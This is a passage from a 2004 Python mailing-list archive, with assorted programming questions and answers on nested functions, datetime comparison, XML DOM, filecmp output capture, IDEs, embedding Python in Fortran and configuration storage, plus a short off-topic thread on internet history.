<1rk6vkeo5d.fsf@rovereto.ifi.uio.no> <87hdqok9i6.fsf@sinken.local.csis.hku.hk> <1rfz68ely9.fsf@rovereto.ifi.uio.no> <876574k7du.fsf@sinken.local.csis.hku.hk> <1r3c28ejis.fsf@rovereto.ifi.uio.no> <1rllg0cb3m.fsf@rovereto.ifi.uio.no> <874qmovxna.fsf@sinken.local.csis.hku.hk> Message-ID: <10jf0sk4js0ec7c@corp.supernews.com> Antoon Pardon wrote: >Suppose you have the following situation: > >| def function >| >| def localfunction >| >| localfunction >| code >| >| function >| code > >My experience is that in such a situation, especially >if the local functions grows of you have more >local functions it can become hard to see where the body >of the global function begins. > My experience is that defining local functions inside of parent functions is not a good way to deal with this situation. I would, instead, write this as two separate module-level functions, one of which calls the other, and possibly indicating one of them as non-public via naming convention: def mainfunction(): x = y + z result = [] for n in range(x): result.append( _subfunction(n) ) result.sort() return mylibrary.modify(result) def _subfunction(n): if n > 5: while n: x, n = dostuff(n) else: x = math.sqrt(x) return x Regardless of whether _subfunction() will ever be used anywhere else, I wouldn't define it inside of mainfunction(). (The only use I see for inner functions is to construct a function whose structure depends on outer-function data in a way that can't be reasonably expressed with a parameter -- and I see few cases of that. Otherwise, the only gain from defining an inner function is name-hiding, and I find the complexity cost of inner functions to be much higher than the insignificant benefit gained by name-hiding.) There are few cases I have seen where the actions taken by an indented (possibly compound) code block cannot be given a reasonable name. Once you can say "This segment of code does this action", you can encapsulate that segment into its own function named action(). You've now halved your indentation level, and also increased the abstraction level, making it easier for another person to read your code. Presumably, you're going to assert that there are vague, undefined cases where there's no meaningful way to describe a subset of your nested code. Personally, I wonder what the heck you're coding, because *I've* never seen (or heard of before now) use-cases in which it was so difficult to divide things into meaningful blocks. Jeff Shannon Technician/Programmer Credit International From deryck at samba.org Tue Sep 14 11:07:18 2004 From: deryck at samba.org (Deryck Hodge) Date: Tue, 14 Sep 2004 10:07:18 -0500 Subject: apache error In-Reply-To: <3A81C87DC164034AA4E2DDFE11D258E3022ED1@exchange.hqamor.amorhq.net> References: <3A81C87DC164034AA4E2DDFE11D258E3022ED1@exchange.hqamor.amorhq.net> Message-ID: <41470926.608@samba.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Robert Brewer wrote: | | Try changing href="" to href="http://www.google.com" and I think you'll | see you aren't canceling the hyperlink. Even though your onclick event | may be fired, the hyperlink is still being invoked. Since you left href | blank, it assumes you want the default page of the root directory, in | your case, /cgi-bin/, and takes you there. Or tries to. Try this | instead: | | Rank | Hi, all. I've just started on this list, as I'm learning a little Python. I do, however, do a good bit of Javascript work and thought I would point out something here that's not so obvious if you don't do a lot of Javascript. If you set links to call a Javascript function as in the example above, if Javascript is not enabled, the link will go nowhere. This may not bother you the designer, but a user may not know they have javascript disabled or may be unfamiliar with website conventions. An easy fix for this, is to specify an actual page (perhaps a page that says "Sorry, you do not have javascript enabled") and add a return false attribute. For example: Rank. If Javascript is enabled, the link will not call the href, but if it is, then the user gets a message telling them what went wrong. Sorry to derail the Python list for this. - --deryck - ---------------------------------------------------------------------- Deryck Hodge http://www.devurandom.org/ Cataloging Department http://www.lib.auburn.edu/ Web Editor, Samba Team http://www.samba.org/ GnuPG Key http://www.devurandom.org/gpg_pubkey.asc I am flawed but I am cleaning up so well. - --Dashboard Confessional, from "Vindicated"(2004) -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBRwkm4glRK0DaE8gRAjH3AKC/Cr9XWppknuCk66o8jGTsq7JxcACfbeDA Q3jDXFEdgqRkF7OQDBQ1xkY= =xeKZ -----END PGP SIGNATURE----- From mlerner at NOumichSPAM.edu Thu Sep 9 03:54:55 2004 From: mlerner at NOumichSPAM.edu (Michael George Lerner) Date: Thu, 09 Sep 2004 07:54:55 GMT Subject: Why is this legal? References: Message-ID: "Delaney, Timothy C (Timothy)" wrote: > Michael George Lerner write: >> cluster = [(c.resi,c) for c in cluster] # decorate >> cluster.sort() # sort >> cluster = [c for (c.resi,c) in cluster] # undecorate >> >> That last line actually assigns c.resi for each c in cluster. > Normally the best way to write the above is: > cluster = [(c.resi,c) for c in cluster] # decorate > cluster.sort() # sort > cluster = [c[-1] for c in cluster] # undecorate > It's shorter, clearer, works no matter how many elements are in the > decoration, and doesn't have the danger of your version. Good points. Thanks. I'll re-train myself to write it that way. Heck, maybe I'll even download Python 2.4 so I can say cluster.sort(key=lambda c: c.resi) -michael > Tim Delaney From heikowu at ceosg.de Mon Sep 20 08:50:57 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Mon, 20 Sep 2004 14:50:57 +0200 Subject: uncompressed size of .gz file In-Reply-To: <200409201436.24139.heikowu@ceosg.de> References: <000001c49ed3$35125b20$0a0c10ac@che2003> <200409201436.24139.heikowu@ceosg.de> Message-ID: <200409201450.57342.heikowu@ceosg.de> Am Montag, 20. September 2004 14:36 schrieb Heiko Wundram: > least-significant byte first to me sounds like big-endian, doesn't it? And > thus should warrant a > qualifier, or not? Or am I plain wrong on this? Forget that comment... I mixed up big-endian and little-endian... Heiko. From exarkun at divmod.com Mon Sep 20 17:35:10 2004 From: exarkun at divmod.com (exarkun at divmod.com) Date: Mon, 20 Sep 2004 21:35:10 GMT Subject: How does this function work? In-Reply-To: <3A81C87DC164034AA4E2DDFE11D258E3022EF3@exchange.hqamor.amorhq.net> Message-ID: <20040920213510.29723.1696579821.divmod.quotient.4237@ohm> On Mon, 20 Sep 2004 13:05:27 -0700, "Robert Brewer" wrote: >Jp wrote: > > >>> def f(y): > > ... return [x for x in range(3), 1, y for y in range(4), 4] > > ... > > >>> f(3) > > [[0, 1, 2], [0, 1, 2], 1, 1, 3, 3] > > >>> > > > > I've been staring at it for 15 minutes and I'm no closer to=20 > > understanding than when I started. > > > > Why is this even legal Python syntax? What is going on=20 > > that makes it return what it does? > > A couple of parentheses might get you started. Your function is exactly > the same if you write: > > >>> def g(y): > ... return [x for x in (range(3), 1, y) for y in (range(4), 4)] > That helps, indeed. Thanks :) Jp From anhtt at hotmail.com Thu Sep 9 10:09:10 2004 From: anhtt at hotmail.com (Tran Tuan Anh) Date: 9 Sep 2004 07:09:10 -0700 Subject: Using Python to generate code? References: <1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com> <1gjt4u3.qme0dh1ucx3ybN%aleaxit@yahoo.com> <10jvm82sae48rfd@corp.supernews.com> Message-ID: - I'm familar with Java, C, C++, and Pascal, some experiences with SML. Could you elaborate about some Python's string-manipulation features? - So now imagine if I have to convince my supervisor, an theoretic-non-progammer, about switching to Python for this code generator program, what kind of advantages I can get from doing so? Thanks! Tuan Anh From davecook at nowhere.net Tue Sep 14 08:54:37 2004 From: davecook at nowhere.net (Dave Cook) Date: Tue, 14 Sep 2004 12:54:37 GMT Subject: Ranting about the state of Python IDEs for Windows References: Message-ID: In article , Carlos Ribeiro wrote: > The funny thing is that I don't need anything particularly fancy. A > good Python editor, syntax coloring, a few helpers (moving blocks & > stuff). Debugging is good, but it's not what I really miss. Even form > designers -- I could live without them. What I really miss are stuff > that I regard as basic: a tabbed editor window for multiple files, and > a good project manager interface -- a place where I can find all the > files belonging to my projects without having to move around the > directory tree whenever I have to do anything. Could I do it using > only command-line tools? Probably, but it's not comfortable, > convenient or productive. A good IDE would bring me these three things > that I'm longing for. XEmacs has tabbed editing (maybe GNU Emacs does now, too? ctrl-click does bring up a buffer menu.) The standard emacs package recent_files is useful for keeping track of projects. And these days the emacsen are lightweight compared to many other environments. It's a great environment for python development. http://www.xemacs.org/Download/win32/ Dave Cook From bretth at aiinet.com Tue Sep 14 10:20:01 2004 From: bretth at aiinet.com (Humphreys, Brett) Date: Tue, 14 Sep 2004 10:20:01 -0400 Subject: XML Dom question Message-ID: John, you actually would add a text node to your 'myNode' object. For example: w = walker.currentNode if "menu__File__Exit" == name and 0 == needs_value and 0 == test: myNode = doc.createElement("shortcut_key") myNode.setAttribute("modifier","SHIFT") myTextNode = doc.createTextNOde("F4") myNode.appendChild(myTextNode) w.appendChild( myNode ) test = 1 It should create output such as: On__File__Exit F4 -Brett -----Original Message----- From: python-list-bounces+bretth=aiinet.com at python.org [mailto:python-list-bounces+bretth=aiinet.com at python.org] On Behalf Of John Taylor Sent: Tuesday, September 14, 2004 10:06 AM To: python-list at python.org Subject: XML Dom question I am trying to insert a new element and value into a XML Dom structure and am having some trouble. When I read the file in from disk, I have this: On__File__Exit When I run this code: w = walker.currentNode if "menu__File__Exit" == name and 0 == needs_value and 0 == test: myNode = doc.createElement("shortcut_key") myNode.setAttribute("modifier","SHIFT") w.appendChild( myNode ) test = 1 I get this result: On__File__Exit This is what I really want: F4 Can some one post code on how to do this? I tried creating a new Node (called newNode) and setting the nodeType and NodeValue and the use the appendChild() method, but I keep getting this error: code: myNode.appendChild(newNode) error: AttributeError: Node instance has no attribute 'childNodes' Any help would be greatly appreciated! Thanks, -John -- http://mail.python.org/mailman/listinfo/python-list From erik at heneryd.com Tue Sep 14 05:49:46 2004 From: erik at heneryd.com (Erik Heneryd) Date: Tue, 14 Sep 2004 11:49:46 +0200 Subject: PIL - setting the width of lines in ImageDraw In-Reply-To: <414682eb$0$301$edfadb0f@dread12.news.tele.dk> References: <4145fc21$0$273$edfadb0f@dread12.news.tele.dk> <414682eb$0$301$edfadb0f@dread12.news.tele.dk> Message-ID: <4146BEBA.7030008@heneryd.com> Max M wrote: > Erik Heneryd wrote: > >> Larry Bates wrote: >> >>> There's nothing wrong with "slanted" rectangles. >>> In PIL you just define upper left and lower right >>> coordinates of the rectangle in pixels. That's >>> what a thick line would do anyway. >> >> >> Really? Didn't know that. Please show me how. > > > > The problem is that you have to calculate the rectangles corner > positions yourself. Which make it a bit less trivial than drawing lines. > > If you want a fat line from ((0,0),(10,10)) you would need to calculate > where the corners should be yourself. Reason I was (sarcastically) asking about how was because Larry implied it could be done easily using "drawrectangle", as opposed to calculating the corners yourself and using polygon. And ofcourse - just drawing thick lines isn't enough to do thick lined polygons, you also have to deal with joining them. Erik From tmohr at s.netic.de Mon Sep 6 14:49:02 2004 From: tmohr at s.netic.de (Torsten Mohr) Date: Mon, 06 Sep 2004 20:49:02 +0200 Subject: Sequence Protocol, assign item References: <413AEBB1.1050007@cosc.canterbury.ac.nz> Message-ID: Hi, thanks for your answer! > You don't want to use PyArg_ParseTuple here, because 'val' > isn't wrapped in a tuple, it's the bare value of the RHS. > Instead you want > > v?=?PyInt_AsLong(val); > if?(PyErr_Occurred()) > return?-1; That exactly solves the problem. > Also note the -1 return value (not 0) to signal an error. I also found this by looking into the sources of Objects/listobject.c, thanks for that other hint. >> In part A some INCREF/DECREF stuff is done, but i think i don't need >> this as the PyObjects are only temporarily. > > That's correct in this case. > >> Exception exceptions.SystemError: 'new style getargs format but argument >> \ is not a tuple' in 'garbage collection' ignored > > That's because you were passing PyArg_ParseTuple something > that wasn't a tuple. (The error message talks about argument > formats because PyArg_ParseTuple is intended for processing > argument lists, and in normal use it can't ever get passed > anything other than a tuple.) Thanks for your hint, that helped me fix the problem. But where can i learn more about the internals? Maybe i just assumed this as a Py_Object* always needed to be transformed the way i did before. I did not find any help regarding this in the documentation and also in the sources it was not obvious to me. Best regards, Torsten. From adurdin at gmail.com Thu Sep 16 20:43:52 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Fri, 17 Sep 2004 10:43:52 +1000 Subject: comparing datetime with date In-Reply-To: <1gk5wh3.6geuhxd1ktN%aleaxit@yahoo.com> References: <1f7befae04091414167f3b37d4@mail.gmail.com> <1gk5wh3.6geuhxd1ktN%aleaxit@yahoo.com> Message-ID: <59e9fd3a0409161743408f0405@mail.gmail.com> > Steve Holden wrote: > > > Well you do, of course, allow that this appeals to *your* intuition, but > > it seems much more reasonable to me to assume that a date, when compared > > to a datetime, should specify a single canonical time (such as midnight > > at the start of that date). My POV mostly comes from having to deal with comparing a date to an inclusive range of dates (i.e. time is unimportant) where the dates are stored (implicitly) as datetimes with a midnight time: 3/9/04 <= x <= 17/9/04 (using dd/mm/yy) In this case, the equality will fail if x happens to be 17/9/04 00:00:01 or later, and the solution of having to increment the day of the right endpoint of the range is both inconvenient and non-obvious (when reading the code). Of course, python's separate datetime, date, and time types allow for a better solution to this problem: use the date type only. On Wed, 15 Sep 2004 16:13:28 +0200, Alex Martelli wrote: > This means == does not define an equivalence relationship, and THAT is > enough to send me into shivers and cold sweating. Either having a > comparison between date and datetime raise an exception, or consider a > date to be == to ONE specific datetime, will be OK from this POV. As > for which choice is better, if I was the one tasked to design this, I'd > go for "In the face of ambiguity, refuse the temptation to guess", and > raise an exception. But I don't feel particularly strongly about this. It looks like there are some discrepancies between comparison handling between the datetime types, though: >>> import datetime >>> d = datetime.date(2004,9,17) >>> t = datetime.time(10,28,47) >>> dt = datetime.datetime(2004,9,17,10,28,47) >>> dt == d True >>> dt == t False >>> d == t False >>> dt < d False >>> dt < t Traceback (most recent call last): File "", line 1, in ? TypeError: can't compare datetime.datetime to datetime.time >>> d < t Traceback (most recent call last): File "", line 1, in ? TypeError: can't compare datetime.date to datetime.time You can compare a datetime and a time for equality, but not for inequality. A datetime and date can be compared for both. It is probably better to raise an exception for any comparison between time and datetime, time and date, or date and datetime. If the former or latter are desired, then the date() and time() methods of the datetime object can be used to explicitly get a comparable object. From reply.in.the.newsgroup at my.address.is.invalid Thu Sep 9 03:37:34 2004 From: reply.in.the.newsgroup at my.address.is.invalid (Rene Pijlman) Date: Thu, 09 Sep 2004 09:37:34 +0200 Subject: Connecting to a postgresql DB? References: Message-ID: Lance Hoffmeyer: >I am trying to learn some basics of python. One of the things >I want to do is write a script to access a postgresql database [...] >Can someone show me an example of how to do this? Google! http://www.python.org/peps/pep-0249.html http://pypgsql.sourceforge.net/README.html http://www.google.nl/search?q=cache:kDSCqAr41csJ:www.matrixlist.com/pipermail/leaplist/2003-May/031395.html+db-api+pypgsql+connect+example&hl=nl -- Ren? Pijlman From python at perfectia.com Tue Sep 14 23:29:22 2004 From: python at perfectia.com (PyProg) Date: Tue, 14 Sep 2004 22:29:22 -0500 Subject: i am going to get crazy!!! In-Reply-To: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> Message-ID: <4147B712.7010402@perfectia.com> Have you taken a look at wxPython? --> http://www.wxpython.org/download.php I don't know a lot about it, because I'm a 'vim' type of guy, but it seems to me that their 'PyShell' utility might be to your liking. Regards ... PyProg andresm wrote: >I cant believe there is no single decent open source for python, all >them miss some of the most core features an ide should have, i just >cant believe this!!! I have been looking for a decent ide for one >weak, i have tried all of them, all. the only kick ass one is ipython, >but thats a shell that shows how an ide should be. > > I come from a java background using eclipse, netbeans,intellij,etc >and i realy liked to learn python =( , java sucks for tons of reasons, >but i dont now what to do the most important feature of an ide is >syntax coloring and "full code completion suport". > > For example if i am learning how to use the sys module in my code and >while i am writing like : > > sys . > > A list should appear showing me all the attributes of the module or >class : variables,locals,globals,builtins,etc and when i focus on one >item for example " setprofile " method the documentation of the method >should appear in another popup , that way i can learn the libraries >fast and in an interactive way. Is all i want in an ide ALL IDES have >this. Why python ones dont ? in spe you get everything that is in the >namespace,not just the object before the dot triger,same in eric3, in >komodo you get just the functions, no docs. > > Whats wrong with my common sense? all ides for php,java,c have this >feature , is all i want to be able to program fast =( . > > But i have to alt-tab to konsole to the ipython shell, type help(sys) >, find the doc and info i need and go back to the editor again, is >like 20 seconds comparing to 1 with code completion suport. > > How do you guys program without a feature like this? that is the only >reason i need an ide, how do you remember all the methods names, >parameters , attributes , classes, behavior while coding with an ide >not suporting this tools? i wont memorize all of them =( is >contraproducent if a tool can help, not to mention when learing new >libraries, memorize again? or take 10 seconds every time you dont >remember something to take the time to look into it? What should i >do? T_T > > From ruchika_khera at hotmail.com Fri Sep 10 12:38:05 2004 From: ruchika_khera at hotmail.com (ruchika khera) Date: Fri, 10 Sep 2004 16:38:05 +0000 Subject: Can we use /MAKE inside the popen3 command? Message-ID: An HTML attachment was scrubbed... URL: From aleaxit at yahoo.com Thu Sep 23 17:28:50 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 23 Sep 2004 23:28:50 +0200 Subject: How to count lines in a text file ? References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> <414eda06$0$26379$ba624c82@nntp02.dk.telia.net> <1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com> <9Gk4d.400$zG1.260@newsread3.news.pas.earthlink.net> <1gkjf3r.y37symc5ueasN%aleaxit@yahoo.com> <1gkk60l.18a3mpc8xck0N%aleaxit@yahoo.com> Message-ID: <1gklabo.qs6qc8ulo1xfN%aleaxit@yahoo.com> Andrew Dalke wrote: > > I suspect somebody who asks the subject question wants to reproduce wc's > > counting behavior. > > Really? I was actually surprised at what wc does. I didn't > realize it only did a "\n" character count. The other programs Ah well -- maybe it's just me, 25+ years of either using Unix or pining for it (when I had to use VMS, VM/SP, Windows, etc, etc) must have left their mark. Alex From aleaxit at yahoo.com Tue Sep 14 04:08:25 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 10:08:25 +0200 Subject: My first attempt at subclassing....Gahh! References: <95c29a5e.0409131910.5c916122@posting.google.com> Message-ID: <1gk3kvp.or5xpwtnn7peN%aleaxit@yahoo.com> Robin Siebler wrote: > I want to use filecmp.dircmp, but it only prints to the screen, there > is no way to capture the output. So I thought that I should simply be Il prints to sys.stdout, which may be the screen or elsewhere, therefore there IS of course a way to capture the output: import sys, filecmp, cStringIO save_stdout = sys.stdout capture = cStringIO.StringIO() sys.stdout = capture filecmp.dircmp('/tmp', '/tmp').report() sys.stdout = save_stdout capture.seek(0) for i, line in enumerate(capture): print i, repr(line) capture.close() But why would you want that? The output format is purposefully lousy. You have all the information as attributes of the object that filecmp.dircmp returns -- why not format said info, or subsets thereof, however best you please...? Say: x = filecmp.dircmp('/tmp', '/tmp') print 'Out of %d files on one side, and %d on the other,' % ( len(x.left_list), len(x.right_list)) print '%d are in common (%d files, %d directories, %d funny ones)' % ( len(x.common), len(x.common_files), len(x.common_dirs), len(x.common_funny)) or whatever it is that you do wish. Alex From john at grulic.org.ar Tue Sep 7 09:08:45 2004 From: john at grulic.org.ar (John Lenton) Date: Tue, 7 Sep 2004 10:08:45 -0300 Subject: Secure delete with python In-Reply-To: References: <7xd60zf339.fsf@ruckus.brouhaha.com> <7xeklea6nb.fsf@ruckus.brouhaha.com> Message-ID: <20040907130845.GA21637@grulic.org.ar> On Tue, Sep 07, 2004 at 10:40:07AM +0200, Peter Otten wrote: > > > has ever been in. The solution is to write only encrypted data to the > > drive, and don't store the key on the drive. > > As a special case, avoid that the OS writes the key to disk while swapping. or encrypt the swapfile. In fact, encrypt the disk, then partition it; this is easily done with the device mapper in linux 2.6... -- John Lenton (john at grulic.org.ar) -- Random fortune: Todo lo que nace es digno de morir. -- Goethe -- -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: From news at NOwillmcguganSPAM.com Thu Sep 2 12:29:24 2004 From: news at NOwillmcguganSPAM.com (Will McGugan) Date: Thu, 02 Sep 2004 17:29:24 +0100 Subject: Tuple question Message-ID: <41374a65$0$22750$db0fefd9@news.zen.co.uk> Hi, Why is that a tuple doesnt have the methods 'count' and 'index'? It seems they could be present on a immutable object. I realise its easy enough to convert the tuple to a list and do this, I'm just curious why it is neccesary.. Thanks, Will McGugan From jnh at llnl.gov Fri Sep 10 12:54:26 2004 From: jnh at llnl.gov (Jeff Hagelberg) Date: 10 Sep 2004 09:54:26 -0700 Subject: Dynamic Linking Problems with Intel Compiler Message-ID: <5ea262fa.0409100854.efe9fe@posting.google.com> I'm trying to create a python module which can be used by a python interpreter embedded inside a fortran program I have. To do this, I first created python wrappers for all the functions in my fortran program using f2py. I then start an embedded python interpreter in c code which I link against the fortran program. I invoke the fortran program with a filename containing python code. This file is passed to the c code which passes it on to the python interpreter which executes it, causing the python module to be imported and allowing the python code to control the fortran application. At least, that is the idea. The python module I am creating is called mirandaInternal.so. It contains the python wrappers, but is not linked against object files for the main fortan program. The idea is that those symbols should be resolved at run-time. The problem is that for some reason the symbols are not able to be resolved. I am using gcc to do the c compiling and ifort (the intel fortran compiler) to do the fortran compiling and all of the linking. I have tried using the "-Bdynamic" flag when linking both the executable and the shared library for the module, but that has not seemed to help. Has anyone have any suggestions as to what I need to do to the the dynamic linking to work properly? Thanks in advance, Jeff Hagelberg From gg20040922.5.sebsauvage at spamgourmet.com Wed Sep 22 10:32:38 2004 From: gg20040922.5.sebsauvage at spamgourmet.com (sebsauvage) Date: 22 Sep 2004 07:32:38 -0700 Subject: Efficient configuration storage Message-ID: <7e8c2ebd.0409220632.469b1fb6@posting.google.com> Hello. In one of my programs ( http://sebsauvage.net/python/webgobbler/ ), I have a global dictionnary containing the whole program configuration. Sample follows: CONFIG = { "network.http.useproxy" : True, "network.http.proxy.address": "proxy.free.fr", "network.http.proxy.port" : 3128 [etc.] } I'd like to be able to save/load to/from a file. I do not want to use pickle because I want configuration to be human readable. ConfigParser could do the trick, but the biggest trouble is that it does not retain type (boolean, integer, string...). Would I have to store everything as text and cast it everywhere it's used (and try/except each cast of course) ? 'Looks ugly and inefficient to me. Or have a configuration class which knows the type of each parameter and casts appropriately from the configuration file ? Is there a better way of doing this ? -- S?bastien SAUVAGE http://sebsauvage.net From peter at engcorp.com Fri Sep 10 09:38:55 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 10 Sep 2004 09:38:55 -0400 Subject: Electronic voting feasibility In-Reply-To: References: <-_CdnSvxZtZcPdzcRVn-iw@giganews.com> Message-ID: <28KdnThSO7DtM9zcRVn-pQ@powergate.ca> Istvan Albert wrote: > Jaime Wyant wrote: > >> I think the negativity is well founded. http://www.blackboxvoting.org/ > > I was referring to the real voting not the real-electronic voting. > > I can't judge whether this site speaks the truths or not but > their tone and style is very aggressive, steamrolling and > manipulative. Read a few sites that argue that the world > is flat or smoking is good for your health. "Manipulative"?! What are they trying to manipulate you to do, make wise decisions? People in general, and most programmers, are ignorant about security. This organization seems to be doing a very good public service for these times... -Peter From fredrik at pythonware.com Sun Sep 19 06:02:59 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 19 Sep 2004 12:02:59 +0200 Subject: XML_RPC and unicode problems References: <7bf84d19.0409161548.521da358@posting.google.com><414A8659.7080902@v.loewis.de><414b2ea8$0$6335$9b622d9e@news.freenet.de> Message-ID: Ivan Voras wrote: > Why is that? There's for data that's expected to be binary[*], and for > everything else that's valid under chosen encoding. "that's valid in XML", that is. no matter what encoding you use, you can still use character references to insert other characters. From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Fri Sep 24 10:01:08 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Fri, 24 Sep 2004 15:01:08 +0100 Subject: Bulding python module using C In-Reply-To: <20040924134408.GE99980@astral-on.net> References: <20040924134408.GE99980@astral-on.net> Message-ID: Andrew Degtiariov wrote: > Traceback (most recent call last): > File "test.py", line 6, in ? > n.first = 'test' > TypeError: can't set attributes of built-in/extension type 'noddy3.Noddy' > > Where was i wrong? You are trying to set an attribute on the type instead of an *instance* of the type. > n = noddy3.Noddy n = noddy3.Noddy() -- Michael Hoffman From irmen at -nospam-remove-this-xs4all.nl Tue Sep 28 14:01:00 2004 From: irmen at -nospam-remove-this-xs4all.nl (Irmen de Jong) Date: Tue, 28 Sep 2004 20:01:00 +0200 Subject: Metaclass to make all methods of a class thread-safe In-Reply-To: <4edc17eb.0409280042.5709f6ab@posting.google.com> References: <415728eb$0$78753$e4fe514c@news.xs4all.nl> <4edc17eb.0409270141.4faf130c@posting.google.com> <41586889$0$568$e4fe514c@news.xs4all.nl> <4edc17eb.0409280042.5709f6ab@posting.google.com> Message-ID: <4159a6dc$0$10528$e4fe514c@news.xs4all.nl> Michele Simionato wrote: [...interesting stuff about descriptors and method types...] Thanks for this information, I have something to study if I want to make my next metaclass :) --Irmen From fuzzyman at gmail.com Thu Sep 23 04:38:54 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 23 Sep 2004 01:38:54 -0700 Subject: POST from a CGI References: <6f402501.0409220027.65be4885@posting.google.com> Message-ID: <6f402501.0409230038.764bbcc3@posting.google.com> cookedm+news at physics.mcmaster.ca (David M. Cooke) wrote in message news:... > fuzzyman at gmail.com (Michael Foord) writes: > > > I'm receiving POST data to a CGI, which I'd like to forward to another > > CGI using urllib2. > > > > I have two options - > > > > 1) Parse the data using cgi.FieldStorage() and then rebuild the POST > > request into a dictionary - including any files (? uploading files by > > urllib2 untested and undocumented - examples seem to be for httplib). > > > > 2) Read the whole POST data in using sys.stdin.read(), rebuild the > > 'Content-type' and 'Content-length' headers and make the POST. > > > > Obviously (2) is a *lot* less fiddly and less error prone. *But* I'm > > getting 400 errors when I try it (server thinks request is malformed). > > I've checked the headers and the body data and they seem normal and I > > can't work it out. > > > > I wonder if anyone can see what I'm doing wrong...... > > (Simple code shown first - then a straightforward example that ought > > to work and fails). > [snip] > > info = u.info() # info about the url > > pagetype = info.gettype() > > print 'Content-type: ' + pagetype + '\n' > > print u.read() # print the received page > > I think this is your problem: print is adding an extra \n to the end, > so the length of the data doesn't agree with the Content-length > header. Use sys.stdout.write. Those instructions occur *after* the 400 error. The 400 occurs when the request is first sent to the server..... In actual fact I think the problem is with the bleeding edge version of ClientCookie I was using. When I tested my code with urllib2 it worked as expected !! Thanks Michael Foord http://www.voidspace.org.uk/atlanitbots/pythonutils.html From jeffrey at fro.man Thu Sep 9 20:21:14 2004 From: jeffrey at fro.man (Jeffrey Froman) Date: Thu, 09 Sep 2004 17:21:14 -0700 Subject: attribute assignment effects all class instances References: <090920041659242407%anon@anon.net> Message-ID: <10k1srssgibi768@corp.supernews.com> anon wrote: > > Here's the wierd thing, in another module I have: > > node.adjacent[left] = y > > where node is an instance of the Node class.??This?statement?assigns > all Node instances the value y to attribute adjacent[left].??This?seems > very wrong, unless python resolves names in a case-insensitive way. When you assign the default value for adjacent in the constructor definition as you do, that list is created only one time, and the same list is passed as the default value for each instance of Node. Thus, when you alter the list, the change shows up in all instances, because they are all using the same list. > When I try the alternate: > > node.adjacent = [None, y, None, None] > > I get the behavior I expect (ie. only the instance node gets its > attribute set) In the second case you have not altered the existing list, but rather reassigned your attribute to a new list. Hence, only the node you are working on changes. At that point all of the nodes *except* the one you just changed are using the same list for the "adjacent" attribute. Hope that helps, Jeffrey From peterj at mail.com Mon Sep 20 20:34:19 2004 From: peterj at mail.com (Peter Jensen) Date: Tue, 21 Sep 2004 02:34:19 +0200 Subject: Error with output from a variable.... References: <414f740c$0$13806$ba624c82@nntp05.dk.telia.net> Message-ID: <414f76c3$0$13805$ba624c82@nntp05.dk.telia.net> The def i call in the last line of the code starting with elif menu_choice ==2 is: def tilfoej_stud(navn,aarskortnummer,stud,adresse): navn[aarskortnummer] = stud Thanks "Peter Jensen" wrote in message news:414f740c$0$13806$ba624c82 at nntp05.dk.telia.net... > > Hi all. > > I been playing around with this program, that lets you enter a student > name, his studentcard numner and his address. You can then change the > data, save it as a file, and load it again. All works except one tiny > thing. > > The error is in the: def udskriv_stud(studs): > > def udskriv_stud(studs): > print "De studerende i gruppen er:" > for x in studs.keys(): > print "Navn: ",x," \tAarskortnummer: ", studs[x], "\tAdresse:" > ,adresse, #<--- Here is the error > print "" > print > > When I enter more than one student the new address will overwrite the old > one. So that when I print all the students in the file out, they will all > have the address that I entered for the last student. > > The code where I use the def udskriv_stud(studs): is > > elif menu_choice == 2: > print "Indtast navn og aarskortnummer:" > navn = raw_input("Navn:") > aarskortnummer = raw_input("Aarskortnummer:") > adresse = raw_input("Adresse:") > tilfoej_stud(phone_list,navn,aarskortnummer,adresse) > > > I can see that the it just replaces the raw_input value from adresse over > and over again. > Do any of you have some good suggestions. > > Thanks > > > From firstname at lastname.pr1v.n0 Thu Sep 9 06:18:36 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Thu, 9 Sep 2004 12:18:36 +0200 Subject: Xah Lee's Unixism References: Message-ID: In article , Anne & Lynn Wheeler wrote: >Morten Reistad writes: >> Since I am on a roll with timelines; just one off the top of my head : >> >> Project start : 1964 >> First link : 1969 >> Transatlantic : 1972 (to Britain and Norway) >> Congested : 1976 >> TCP/IP : 1983 (the effort started 1979) (sort of a 2.0 version) >> First ISP : 1983 (uunet, EUnet followed next year) >> Nework Separation : 1983 (milnet broke out) >> Large-scale design: 1987 (NSFnet, but still only T3/T1's) >> Fully commercial : 1991 (WIth the "CIX War") >> Web launced : 1992 >> Web got momentum : 1994 >> Dotcom bubble : 1999 (but it provided enough bandwith for the first time) >> Dotcom burst : 2001 > [i'll snip the excellent references you always come up with] >was for backbone between regional locations ... it was suppose to be >T1 links. What was installed was IDNX boxes that supported >point-to-point T1 links between sites ... and multiplexed 440kbit >links supported by racks & racks of PC/RTs with 440kbit boards ... at >the backbone centers. It was an upgrade from 56k. The first versions of NSFnet was not really scalable either; noone knew quite how to design a erally scalable network, so that came as we went. >the t3 upgrades came with the nsfnet2 backbone RFP For the grand timeline I'll see the two nsfnets as a continuing development. >my wife and i somewhat got to be the red team design for both nsfnet1 >and nsfnet2 RFPs. > >note that there was commercial internetworking protocol use long >before 1991 ... in part evidence the heavy commercial turn-out at >interop '88 >http://www.garlic.com/~lynn/subnetwork.html#interop88 Yes, commercial internet offerings were available as early as in 1983-84; but until Cisco, IBM, Wellfleet and Proteon made real router gear (1986?) it was a little lame. I remember lamenting the software of the IBM routers in ca1988; because they were light years ahead of the competition in the actual hardware design. But until 1991 (Gordon 